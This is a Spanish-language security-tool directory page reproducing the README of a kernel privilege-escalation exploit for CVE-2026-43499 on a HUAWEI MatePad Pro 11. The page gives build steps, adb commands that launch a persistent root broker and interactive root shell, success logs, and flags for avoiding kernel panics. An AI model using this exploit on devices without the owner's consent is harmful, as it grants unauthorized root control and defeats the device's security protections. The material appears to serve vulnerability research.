Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
GhostLock-GOT-W29 — Investigación sobre CVE-2026-43499 (GhostLock) en HUAWEI MatePad Pro 11 GOT-W29 | Kitploit
Herramientas/GitHubGitHub/zzzxxxxxxxxxx/ghostlock-got-w29
Escalada de PrivilegiosAnálisis de VulnerabilidadesExplotaciónIngeniería InversaSeguridad MóvilExplotación de Binarios
GitHubzzzxxxxxxxxxx/ghostlock-got-w29

GhostLock-GOT-W29

Investigación sobre CVE-2026-43499 (GhostLock) en HUAWEI MatePad Pro 11 GOT-W29

Ver Repositorio
6138hace 1 díaAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

GhostLock GOT-W29

Adaptación de escalada de privilegios CVE-2026-43499 para HUAWEI MatePad Pro 11 (GOT-W29, SM8250 / Snapdragon 870, HarmonyOS 4.x, kernel 4.19.157-perf+).

Estado actual:

  • Ruta A completada en dispositivo real: credenciales root privadas legítimas, SELinux permanece en u:r:shell:s0
  • Broker root persistente: @gl_su
  • Shell root PTY completo: Ctrl-C, teclas de dirección y control de trabajos en segundo plano totalmente funcionales
  • La lectura arbitraria utiliza una ctl_table independiente random/uuid, sin modificar boot_id ni el nodo ashmem
  • Verificación de arranque en frío de la App superada
  • La ruta B (u:r:kernel:s0 + full caps) sigue siendo TODO

Para ver el principio completo, los desplazamientos, los modos de fallo y el historial, consulte TECHNICAL.md.

Compilación

cd exploit/ghostlock-source
make -j3

Artefactos:

exploit/ghostlock-source/build/bin/ghostlock_exe

La máquina actual utiliza el sysroot del NDK + clang del host para compilación cruzada; consulte exploit/ghostlock-source/TOOLCHAIN.md.

Inicio en dispositivo real

adb push exploit/ghostlock-source/build/bin/ghostlock_exe /data/local/tmp/
adb shell chmod 755 /data/local/tmp/ghostlock_exe

Iniciar el broker de la ruta A:

adb shell /data/local/tmp/ghostlock_exe \
  --su-server --simple-root --fake-lock-window \
  --detach --probe-cycle --no-rt --attempts 1 \
  --leak-timeout 60 --fsync \
  --log-file /sdcard/ghostlock-su.log

En caso de éxito, el registro contiene:

simple-root: LEGAL ROOT uid=0 euid=0 ctx=u:r:shell:s0
su: uid=0 euid=0 serving on abstract @gl_su

Uso

Ejecutar desde otro adb shell:

adb shell /data/local/tmp/ghostlock_exe --rsh STATUS
adb shell /data/local/tmp/ghostlock_exe --rsh id
adb shell /data/local/tmp/ghostlock_exe --rsh 'tu comando'

El shell root interactivo debe usar -t:

adb shell -t /data/local/tmp/ghostlock_exe --rsh-shell

broker asigna un terminal de control real al shell, por lo que tty debería mostrar /dev/pts/N, y Ctrl-C, las teclas de dirección, jobs y el cambio entre primer y segundo plano funcionan con normalidad.

Notas de seguridad

  • --fake-lock-window y --detach son parámetros clave para la ejecución segura en dispositivo real.
  • No use --hold; no use directamente kill -9 para terminar un worker que ya ha consumido un waiter colgante.
  • Un intento fallido puede provocar oops/panic; en dispositivo real mantenga --attempts 1.
  • Para limpiar el worker detach se debe reiniciar el dispositivo.
  • --verify-write, --verify-read, --verify-all son autocomprobaciones de la primitiva de escritura de boot_id, contaminan los 8 bytes altos de boot_id, solo deben ejecutarse en QEMU o cuando se acepte explícitamente el riesgo.
  • No use --escalate en lugar de la ruta A; está reservado para la investigación de la ruta B y presenta riesgo en el ciclo de vida de cred.

QEMU

cd tools/qemu-test
GLMODE="--simple-root --detach" GDB=0 ./build_and_run.sh
./read_log.py --wait 240 --until 'simple-root: LEGAL ROOT|simple-root: failed'

Para más detalles sobre QEMU, consulte tools/qemu-test/README.md.

TODO de la ruta B

Objetivo: obtener u:r:kernel:s0 y la capacidad completa.

Pendiente de resolver:

  • Ciclo de vida de cred/security y recuperación por RCU
  • Ejecución de programas en espacio de usuario desde el dominio kernel
  • Políticas de bind de socket / mount / acceso a archivos en el dominio kernel
  • fork de proceso hijo root y herencia de SID
  • Si la reparación de permissive/SID introduce efectos secundarios globales

Parámetros principales

--simple-root             escalada de privilegios de la ruta A
--su-server               inicia el broker root
--rsh CMD                 ejecuta un único comando
--rsh-shell               shell interactivo PTY completo
--fake-lock-window        usa un fake lock privado en la pila (recomendado en dispositivo real)
--detach                  mantiene vivo permanentemente el worker que consumió el waiter
--probe-cycle             forma de disparo de EDEADLK estable en el kernel actual
--no-rt                   evita que los waiter RT dejen en inanición a CFS
--attempts 1              no reintentar tras fallo en dispositivo real
--log-file PATH           registro persistente
--fsync                   escritura de final-result sincronizada a disco

--help puede listar todos los parámetros de autocomprobación e investigación.

Descargar herramienta